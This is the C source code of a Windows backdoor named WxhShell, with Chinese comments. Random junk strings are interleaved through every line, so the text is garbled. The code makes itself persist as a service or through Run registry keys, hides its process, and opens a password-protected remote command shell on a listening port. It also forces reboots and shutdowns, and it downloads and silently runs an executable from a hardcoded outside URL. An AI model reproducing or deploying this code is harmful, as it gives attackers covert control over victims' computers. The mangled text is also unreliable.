) return 0; cnR18NK C0[Z>$ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +dJLT}I8M g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6
u}c543 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _OvIi~KW+ qTrb)95 if (!NtQueryInformationProcess) return 0; A)641"[ 6i'kc3w hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); );1UbqVPD if(!hProcess) return 0; 2sYOO> 4<q'QU#l< if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gYW TUM7(-,9 CloseHandle(hProcess); Nj$h/P s#%P9A hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S%2q X"8 if(hProcess==NULL) return 0; <S(`e/#[ |$sMzPCxOk HMODULE hMod; &*;E wfgZ char procName[255]; nYts[f9e unsigned long cbNeeded; cB|Rj}40v :WAFBK/x if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O%p+P<J 5<mGG;F CloseHandle(hProcess); sX|bp)Nw 8mv}-; if(strstr(procName,"services")) return 1; // 以服务启动 *."a>?D~ Erq%Ck( return 0; // 注册表启动 *;Gn od< } d <Rv~F@
GOj<>h}r // 主模块 YZQF*fj int StartWxhshell(LPSTR lpCmdLine) ]hjA,p@Q { RinaGeim SOCKET wsl; q
!Nb-O{ BOOL val=TRUE; Y^9b>H\2 int port=0; #*x8)6Ct struct sockaddr_in door; jZP~!q [@`Ki if(wscfg.ws_autoins) Install(); lt{yo\ e2vLUlL8 port=atoi(lpCmdLine); @V71%D8{ #/2W RN1L if(port<=0) port=wscfg.ws_port; XS`=8FQ $p~X"f?0 WSADATA data; {p)=#Jd`.P if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2y@y<38 N]7#Q.(~ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; P#N@W_""YD setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P=PVOt@
b door.sin_family = AF_INET; VY_<c 98v door.sin_addr.s_addr = inet_addr("127.0.0.1"); 82A[[^` door.sin_port = htons(port); RZ GD5`n XpoEZ|0 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MWn+e closesocket(wsl); c^%&-], return 1; $C`YVv%?0 } Fa^I 1fk O YayTKxN if(listen(wsl,2) == INVALID_SOCKET) { iK=SK3)vR closesocket(wsl); ;vLg4k return 1; 4j VFzO%. } X2S:"0?7 Wxhshell(wsl); bbAJ5EqL WSACleanup(); j
hr pS 0="U'|J_ return 0; y)#=8oci aW@J]slg } +-OnO7f Nx^r&pr // 以NT服务方式启动 E;)7#3gY1 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wh)Ujgd { 4Up\_ DWORD status = 0; !Ng~;2GoA DWORD specificError = 0xfffffff; HYWKx><
v+qHH8 serviceStatus.dwServiceType = SERVICE_WIN32; +?R! serviceStatus.dwCurrentState = SERVICE_START_PENDING; bZ_vb? n serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; SED_^ serviceStatus.dwWin32ExitCode = 0; D?6ah=:&R serviceStatus.dwServiceSpecificExitCode = 0; V{+5Fas^l serviceStatus.dwCheckPoint = 0; iIO_d4Z serviceStatus.dwWaitHint = 0; &HIG776 GK\`8xWE hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J6W"t if (hServiceStatusHandle==0) return; 8zWKKcf7t GjGt'
m* status = GetLastError(); l>iE1`iL< if (status!=NO_ERROR) #oQDt' { XWNDpL`j5 serviceStatus.dwCurrentState = SERVICE_STOPPED; } D0Y8 serviceStatus.dwCheckPoint = 0; [r;hF serviceStatus.dwWaitHint = 0; J sc`^a%`' serviceStatus.dwWin32ExitCode = status; -]e@FNL serviceStatus.dwServiceSpecificExitCode = specificError; [lbe_G; SetServiceStatus(hServiceStatusHandle, &serviceStatus); g@][h_? { return; Q]"u?Q] } h Lv_ER? Gp5[H}8K serviceStatus.dwCurrentState = SERVICE_RUNNING; A@qwD300Vo serviceStatus.dwCheckPoint = 0; <Z58"dg.5 serviceStatus.dwWaitHint = 0; +tSfx if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1 wB2:o< } HA W57N xXn2M*g // 处理NT服务事件,比如:启动、停止 P
K9BowlW VOID WINAPI NTServiceHandler(DWORD fdwControl) ~n)<L7 { zv[pfD7a switch(fdwControl) +4--Dl? {
MTUJsH\ case SERVICE_CONTROL_STOP: /By`FW Y serviceStatus.dwWin32ExitCode = 0; ( V^C7ix: serviceStatus.dwCurrentState = SERVICE_STOPPED; b am*&E%0K serviceStatus.dwCheckPoint = 0; Z9vJF.clO serviceStatus.dwWaitHint = 0; [S#QGB19 { >UDb:N[ SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wi3St`$ } +(qs{07A$ return; +PGtO9}B case SERVICE_CONTROL_PAUSE: 3I%F,-r serviceStatus.dwCurrentState = SERVICE_PAUSED; @ - _lw break; DgiMMmpE case SERVICE_CONTROL_CONTINUE: qp)a`'Pq serviceStatus.dwCurrentState = SERVICE_RUNNING; .X)TRD#MW break; q/l@J3p[qm case SERVICE_CONTROL_INTERROGATE: R}VEq gq break; Al 1BnFB }; *&A/0]w SetServiceStatus(hServiceStatusHandle, &serviceStatus); NwB;9ZhZ } ^ua8Ya @}B,l.Tj // 标准应用程序主函数 "FfIq; int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =p29}^@@t { l
S m7i ((T0zQ7= // 获取操作系统版本 <sNkyQ OsIsNt=GetOsVer(); i!k5P".o^ GetModuleFileName(NULL,ExeFile,MAX_PATH); O2 sAt3' bQelU // 从命令行安装 Se>"=[= if(strpbrk(lpCmdLine,"iI")) Install(); N@>o:(08 w,qYT-R // 下载执行文件 k6mC_ if(wscfg.ws_downexe) { Wo[*P\8 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =n73bm WinExec(wscfg.ws_filenam,SW_HIDE); =SqI#v } M);@XcS [sF
z ;Py] if(!OsIsNt) { 1p |}=R // 如果时win9x,隐藏进程并且设置为注册表启动 dX8N7{"[ HideProc(); m\O|BMHn StartWxhshell(lpCmdLine); cm!|A)~ } K)!Nf.r$9 else $&l}
ABn if(StartFromService()) d5z?QI // 以服务方式启动 map#4\ StartServiceCtrlDispatcher(DispatchTable); u(92y]3, else Jfs$VGZP; // 普通方式启动 8p)*;Y StartWxhshell(lpCmdLine); tF@hH}{; ]J
aV +b'O return 0; 3xU in } gBZ1We u-' sVjM^y24 )n&@`>vm zLB7'7oP =========================================== o;D[F Hve'Z,X ?h*Ngbj> >PD*)Uq& ?%Pd:~4D ?9)-?tZ^Q " ![OKmy SK@%r #include <stdio.h> v|r=}`k= #include <string.h> 9]DMHA@ #include <windows.h> >hcze<^S #include <winsock2.h> ,%zU5 hh #include <winsvc.h> ~)k OOoH #include <urlmon.h> Qq. ht 37SbF,G #pragma comment (lib, "Ws2_32.lib") 9Un3La8PX #pragma comment (lib, "urlmon.lib") XYM 5' [A.ix}3mm #define MAX_USER 100 // 最大客户端连接数 \UF/_'=K #define BUF_SOCK 200 // sock buffer oJLpFL #define KEY_BUFF 255 // 输入 buffer #nv =x&g N`JkEd7TT #define REBOOT 0 // 重启 i#lnSJ08 #define SHUTDOWN 1 // 关机 U^n71m>]%T 5ZX P$. #define DEF_PORT 5000 // 监听端口 :=iP_*# ?Bdhn{_ #define REG_LEN 16 // 注册表键长度 IgsK7wn #define SVC_LEN 80 // NT服务名长度 TBGN',, %ZajM // 从dll定义API j<HBzqP%6 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); BXCB/:0 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Hj>(kL9H typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R@+%~"Z typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^Pq4 n%x ]f3eiHg* // wxhshell配置信息 j!It1B struct WSCFG { 'F)93SwU int ws_port; // 监听端口 h
"MiD char ws_passstr[REG_LEN]; // 口令 =Z3{6y}3p int ws_autoins; // 安装标记, 1=yes 0=no *XlbD char ws_regname[REG_LEN]; // 注册表键名 gtV^6(Y char ws_svcname[REG_LEN]; // 服务名 ?51Y&gOEZ char ws_svcdisp[SVC_LEN]; // 服务显示名 !6R;fD#^s char ws_svcdesc[SVC_LEN]; // 服务描述信息 "zn<\z$l char ws_passmsg[SVC_LEN]; // 密码输入提示信息 * 7<{Xbsj^ int ws_downexe; // 下载执行标记, 1=yes 0=no #%;QcDXRe char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5 +Ei!E89 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 us,!U *u i!|; }; v*.[O/,EBR JjXuy7XQ // default Wxhshell configuration 3u)NkS= struct WSCFG wscfg={DEF_PORT, biBo?k;4 "xuhuanlingzhe", 8R) 0|v&; 1, _DlX F "Wxhshell", _:B/XZ "Wxhshell",
vG{+}o# "WxhShell Service", ,u:J"epM "Wrsky Windows CmdShell Service", e6
R<V]g "Please Input Your Password: ", !>,\KxnM 1, /f5*KRM "http://www.wrsky.com/wxhshell.exe", 4Pbuv6`RK "Wxhshell.exe" ;yvx - }; pn:) Rq0 X{ZcJ8K // 消息定义模块 Z8 X=Md8= char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; YT*_
vmJV char *msg_ws_prompt="\n\r? for help\n\r#>"; [eb?Fd~WB] char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s#8mD!T| char *msg_ws_ext="\n\rExit."; pdz_qj!Z char *msg_ws_end="\n\rQuit."; d3m!34ml char *msg_ws_boot="\n\rReboot..."; '@ $L}C#OI char *msg_ws_poff="\n\rShutdown..."; o*[n[\cR char *msg_ws_down="\n\rSave to "; kK0.j)( Q|DVB char *msg_ws_err="\n\rErr!"; a'[Ah2}3r< char *msg_ws_ok="\n\rOK!"; vDeb?n n0ZrgTVJ char ExeFile[MAX_PATH]; H8'q Y int nUser = 0; B#+0jdF; HANDLE handles[MAX_USER]; o#D;H[' A int OsIsNt; Mx7 va`/Dp)M SERVICE_STATUS serviceStatus; M/O
Y
"eL SERVICE_STATUS_HANDLE hServiceStatusHandle; uuD|%-Ng DFk0"+Ky // 函数声明 m=qEQy6#2u int Install(void); ho'Ihep,L int Uninstall(void); L<}0}y int DownloadFile(char *sURL, SOCKET wsh); ^Uj\s / int Boot(int flag); rT&rv^>f void HideProc(void); THVF(M4v int GetOsVer(void); ou{}\^DgQ int Wxhshell(SOCKET wsl); \6{w#HsP8 void TalkWithClient(void *cs); :aIS>6 int CmdShell(SOCKET sock); >l0y
ss)I int StartFromService(void); ;ewqGDe'3 int StartWxhshell(LPSTR lpCmdLine); M_OvIU(E ?ufX3yia VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); KF%tF4^+| VOID WINAPI NTServiceHandler( DWORD fdwControl ); l\HLlwYO `X:o]t@ // 数据结构和表定义 K1gZ>FEY|N SERVICE_TABLE_ENTRY DispatchTable[] = M2$.Yom[ { \~(scz$ {wscfg.ws_svcname, NTServiceMain}, mSg{0_: {NULL, NULL} )'+
tb\g }; G2 E4 9 W7 ljUg // 自我安装 Wq+a5[3" int Install(void) wm'a)B? { m\0Xh* char svExeFile[MAX_PATH]; tbH`VD"u HKEY key; zc`gm~@ strcpy(svExeFile,ExeFile); -J06H&/k X0}+X'3 // 如果是win9x系统,修改注册表设为自启动 6dNW2_ if(!OsIsNt) { 6H #4iMeh if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C'wRF90 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Sb/`a~q^ RegCloseKey(key); xa=Lu?t%< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +=V[7^K; RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vGX}zzto RegCloseKey(key); $$5E+UDOs return 0; Ik\n/EE } +D@+j } S.I3m- } n&n WY+GEo else { j6JK4{ '#oNOU // 如果是NT以上系统,安装为系统服务 Rs +), SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); F%]ZyO9 if (schSCManager!=0) <TDp8t9bU { UqA<rW SC_HANDLE schService = CreateService }MiEbLduN ( 7eR%zNDa schSCManager, q;)+O#CR wscfg.ws_svcname, pnpx`u; wscfg.ws_svcdisp, 4#D<#!]^ SERVICE_ALL_ACCESS, 7~ I*u6zY SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t/k MV6 SERVICE_AUTO_START, w<P$)~6 SERVICE_ERROR_NORMAL, :kU-ol$ svExeFile, #H5i$ o NULL, Fmd^9K NULL, C9FzTg/c NULL, Bn<1zg5 NULL, "8-;Dq'+ NULL jY +u OH ); .,9e~6} if (schService!=0) n|M~C\* { {tDH !sX CloseServiceHandle(schService); \Qgc7ev CloseServiceHandle(schSCManager); ;k=&ZV strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c{,VU.5/ strcat(svExeFile,wscfg.ws_svcname); Jqp;8DV} if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v]?zG&Jh RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "G[yV>pxv RegCloseKey(key); [Nw%fuB return 0; wyi%!H } E5+-N } j(>~:9I` CloseServiceHandle(schSCManager); _no;B_m~ } +@"Ls P } e*!0|#- 0^m`jD return 1; Ifu[L&U } L>>RboR} 0zHMtC1, // 自我卸载 z#|tcHVFT int Uninstall(void) J/(^Z?/~P! { w~%Rxdh?8W HKEY key; n([9U0!gu c]+uj q if(!OsIsNt) { Sp]u5\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u= =`]\_@ RegDeleteValue(key,wscfg.ws_regname); }I3m8A RegCloseKey(key); ; "K"S[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sq45fRAi RegDeleteValue(key,wscfg.ws_regname); !K %8tr4 RegCloseKey(key); S11ME return 0; v[+ ] } N87)rhXSo, } Q{:=z6& } U(rY,4' else { U ID0|+%Y lvd`_+P$ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m 5_ if (schSCManager!=0) <C <z#M'` { [q!/YL3% SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %nV6#pr if (schService!=0) t8ZzBD!dP { f6])M) if(DeleteService(schService)!=0) { 8svN*`[ CloseServiceHandle(schService); oB$c-!& CloseServiceHandle(schSCManager); }`uFLBG3 return 0; fWz=bJ"V } eq6>C7.$ CloseServiceHandle(schService); VxAG=E } V]5MIiNl CloseServiceHandle(schSCManager); oiTSpd- } h3rVa6cxM } QF4)@ r{2x 9q ]n&5 return 1; k4-S:kVo } ;W?mQUo:P8 '',g}WvRwe // 从指定url下载文件 {X EX0|TZ int DownloadFile(char *sURL, SOCKET wsh) Q.MbzSgXL { sP~;i qk HRESULT hr; Pq(7lua7 char seps[]= "/"; .2{*>Dzi char *token; +:kMYL3 char *file; Jq*Q;}n char myURL[MAX_PATH]; wA2^I70- char myFILE[MAX_PATH]; 7ND4Booul L-DL)8;` strcpy(myURL,sURL); fl}!V4 token=strtok(myURL,seps); ZKTY1JW_ while(token!=NULL) 8.zYa(<2 { ,}:}"cl file=token; *_sSM+S token=strtok(NULL,seps); dlRTxb^Y>u } .x'?&7#( h7kn
>q; GetCurrentDirectory(MAX_PATH,myFILE); Vj[hT~{f strcat(myFILE, "\\"); 'mTQ=1 strcat(myFILE, file); _ -|+k send(wsh,myFILE,strlen(myFILE),0); &d_2WQ} send(wsh,"...",3,0); sH.,O9'r hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); JLak>MS if(hr==S_OK) "9X1T] return 0; f7b6!R;z_ else :X}fXgeL return 1; qH4+iSTnV t"nxny9& } 7nPjeh va2FgW`Bd+ // 系统电源模块 ,*.qa0E#W int Boot(int flag) &,tj.?NCn { DEW;0ic HANDLE hToken; Q%:Z&lgy TOKEN_PRIVILEGES tkp; %uz6iQaq]X 9I [k3 if(OsIsNt) { rV
fZ_\| OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {8"Uxj_6V LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8[H bg tkp.PrivilegeCount = 1; :;jRAjq" tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i8A-h6E AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;]l`Q,*OXb if(flag==REBOOT) { TDX~?>P if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +45.fo return 0; '?Xf(6o1 } ^fj30gw7\5 else { A_Y5{6@ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Oe21noL return 0; `Y3\R# } &ZL4/e } uT>"(wnJ| else { D67z6jep( if(flag==REBOOT) { Md&K#)9,( if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Dxe]LES\] return 0; |$Cfm} } 1}~ZsrF else { oDWNOw if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2O}X-/H return 0; Rh%A^j@ } L]q%;u]8! } P8[k1"c! \A6}= return 1; _BoA&Ism } ]:}7-;$V <tW/9}@p9 // win9x进程隐藏模块 sB!6"D5 void HideProc(void) :<v@xOzxx { YIF|8b\
aTkMg HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); CIVV"p`} if ( hKernel != NULL ) oA8A
@,-L { h!`KX2~ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Bkg./iP5x ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -b)3+#f FreeLibrary(hKernel); +R_s(2vz } _zkTx7H *xN?5u% return; +F~B"a } :kC*<f\ !+DhH2;)F // 获取操作系统版本 I%{ 1K+V/ int GetOsVer(void) LfJMSscfv { S0ReT*I OSVERSIONINFO winfo; OVE?;x>n/1 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |xT'+~u GetVersionEx(&winfo); ?7"v~d]> if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w,j;XPp return 1; ,hZ?]P& else ,BR W= return 0; 4 ]ko } 89{`GKWX zYM0?O8pJ~ // 客户端句柄模块 -XnOj2 int Wxhshell(SOCKET wsl) 4?]s%2U6 { -wVuM.n(Z SOCKET wsh; eh8lPTKil struct sockaddr_in client; /]of@
DWORD myID; ^a$L9p( 8tO.o\)h while(nUser<MAX_USER) q{+}0!o { L\R(//V int nSize=sizeof(client); 4>/i,_&K K wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xZ(d*/6E if(wsh==INVALID_SOCKET) return 1; xIH= gK 5=b6B=\*~ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fu?u~QZ8 if(handles[nUser]==0) ?J-D6; closesocket(wsh); \YHl( else +|H,N7a< nUser++; ^])s\a$ } \odns WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $~\Tl:!#? 7X>*B~(R return 0; DcG=u24Xy! } \Y`psSf+ Ua4P@#cU // 关闭 socket NErvX/qK void CloseIt(SOCKET wsh) +??pej]Rp { ?O"zp65d( closesocket(wsh); ^gkKk&~A5? nUser--; e7tio! ExitThread(0); N4b{^JkF } DR]4Tc z# S]A[eUF~ // 客户端请求句柄 vQj{yJ\l1 void TalkWithClient(void *cs) &*oljGt8 { q\<NW%KtX [ua[A;K SOCKET wsh=(SOCKET)cs; V{~~8b1E char pwd[SVC_LEN]; F"QJ)F char cmd[KEY_BUFF]; ;,7m char chr[1]; u68ic1 int i,j; c~}FYO$ BqM[{Kv while (nUser < MAX_USER) { (j(9'DjP 1~j,A[&|< if(wscfg.ws_passstr) { U ,!S1EiBs if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1bHQB$%z //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {:KPEN //ZeroMemory(pwd,KEY_BUFF); x![G'I i=0; mo,"3YW while(i<SVC_LEN) { L0w2qF 1:_}`x=hM // 设置超时 D
|fo:Xp, fd_set FdRead; Vt-V'`Y struct timeval TimeOut; eu?P6>urA FD_ZERO(&FdRead); "!uS!BI? FD_SET(wsh,&FdRead); # %'%LY= TimeOut.tv_sec=8; RRzLQ7J TimeOut.tv_usec=0; t~.^92]s| int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ad9u;uS if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =LEzcq>XO 'Mhnu2d if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B9, pwd=chr[0]; T'9M if(chr[0]==0xd || chr[0]==0xa) { !1@oZ( pwd=0; 3>=G-AH/$K break; SpOSUpl% } %e_){28 n i++; +;Gvp=hk } e@&2q{Gi= [?(qhp! // 如果是非法用户,关闭 socket #a'CoJs
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v&7x ~!O } _d+` Gw 9>ZX@1]m_ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t}MT<Jj send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #-{ljjMQI G^SDB!/@J while(1) { NE3/>5 '#~Sb8
ZeroMemory(cmd,KEY_BUFF); z6h/C{ ]BTISaL-R // 自动支持客户端 telnet标准 u'gsIuRJ j=0; 6UuM`eu while(j<KEY_BUFF) { |uX&T`7?- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }.=@^-JBA5 cmd[j]=chr[0]; v+dT7*^@ if(chr[0]==0xa || chr[0]==0xd) { ha9 dz cmd[j]=0; (C%qA<6 break; t+j dV } 3M'Y'Szm j++; ej&o,gX } :U]Pm:ivTU |HPb$#i // 下载文件 mXMU if(strstr(cmd,"http://")) { Nov
An+ send(wsh,msg_ws_down,strlen(msg_ws_down),0); V;P*/ke if(DownloadFile(cmd,wsh)) Eh[NKgYL send(wsh,msg_ws_err,strlen(msg_ws_err),0); -qLNs_
_k else %6Y}0>gY send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ie8SPNY-H } 5RY rAzQo else { Bu{%mm( RhE|0N= switch(cmd[0]) { u
N_< G d ;,C[& // 帮助 =H^~"16 case '?': { (: mF+%( send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); JqEo~]E] break; `[x'EJp# } SK_N|X]. // 安装 L_!}R case 'i': { 9A}y^=!` if(Install()) Xj:\B] v] send(wsh,msg_ws_err,strlen(msg_ws_err),0); '%a:L^a? else (D\`:1g send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aDE}'d1qo break; ^HHT>K-m } 8P2_/)| // 卸载 P{,=a]x,mz case 'r': { W=,]#Z+M; if(Uninstall()) QR$m i1Vv\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,{Z!T5 | else 3v)``
n@ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G@<[fO|Iam break; Su'l &]
} T\Jm=+]c! // 显示 wxhshell 所在路径 Owh:(EJ"d case 'p': { AQc9@3T~Bi char svExeFile[MAX_PATH]; :r&4/sN}< strcpy(svExeFile,"\n\r"); V<d`.9*} strcat(svExeFile,ExeFile); 'jKCAU5/0; send(wsh,svExeFile,strlen(svExeFile),0); |;YDRI break; +V#dJ[,8;. } d2g7,axi // 重启 '/Xm%S case 'b': { gNh4c{Al9 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Nm3CeU if(Boot(REBOOT)) \r&(l1R send(wsh,msg_ws_err,strlen(msg_ws_err),0); cn'rBY else { XZ/cREz^s closesocket(wsh); GEki34
n0 ExitThread(0); i\RB KF } Ul:M=8nE% break; &VVvZ@X; } [kI[qByf
// 关机 ,4(m.P10 case 'd': { WX$AOnEv send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?nf4K/IjZ! if(Boot(SHUTDOWN)) }/7rA)_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ul|htB<1: else { K!gocNOf closesocket(wsh); t5S!j2E ExitThread(0); KU_""T } tCu9
D break; D]K?ntS[* } |1/?>=dDm // 获取shell :A,7D(H| case 's': { I&5cUj{GX- CmdShell(wsh); IpVtbDW closesocket(wsh); U@)WTH6d ExitThread(0); 8`q"] BQN break; '^.3}N{Fo } oCB#i~|>a // 退出 w5a;ts_x case 'x': { -nB.
.q send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gq+#=!(2 CloseIt(wsh); 1xU)nXXb break; W1O Y}2kj } et`rPK~m // 离开 r#^uY:T% case 'q': { gE6{R+sp send(wsh,msg_ws_end,strlen(msg_ws_end),0); B)Dsen closesocket(wsh); (KT+7j0^ WSACleanup(); =n MAw&` exit(1); l D]?9K29 break; {)-3g~ } q}J Eesf } /qXP\ a } E_K32)J- >7QC>ws% // 提示信息 gq)uv`3 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R78lV-};Q } zB+zw\ncN } @G=_nZxv 49 1 1 return; m>'#664q1 } 8*(|uX oh >0}Gc8 // shell模块句柄 *BQy$dfE int CmdShell(SOCKET sock) Aj@t*3 { Qf|c^B STARTUPINFO si; e]smnf ZeroMemory(&si,sizeof(si)); \0^Je>-:U si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !A"-9OS2 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^L's45&_ PROCESS_INFORMATION ProcessInfo; \-:4TuU char cmdline[]="cmd"; Z]^O=kX7k CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %eE 6\f%g return 0; t` zPx#]) } 'tq4-11xB AXpyia7nU // 自身启动模式 P? LpI`f int StartFromService(void) g<MCvC@ { aX35^K / typedef struct Mog!pmc{ { Y!_e,]GW DWORD ExitStatus; vi0nJ -Xg DWORD PebBaseAddress; k)S'@>n{u DWORD AffinityMask; }zHG]k,j DWORD BasePriority; {OW.^UIq^ ULONG UniqueProcessId; BE," lX ULONG InheritedFromUniqueProcessId; t8"yAYj
} PROCESS_BASIC_INFORMATION; CNyV6jb fb|lWEw5h. PROCNTQSIP NtQueryInformationProcess; _U%2J4T2 nnMRp7LQ- static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ((]Sy,rdk static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &+8cI^kp &y:SK) HANDLE hProcess; 6>/g`%`N PROCESS_BASIC_INFORMATION pbi; e}W|wJ):j@ MrpT5|t HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 76EMS?e if(NULL == hInst ) return 0; >3y:cPTM5 GP=&S|hi g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "A& |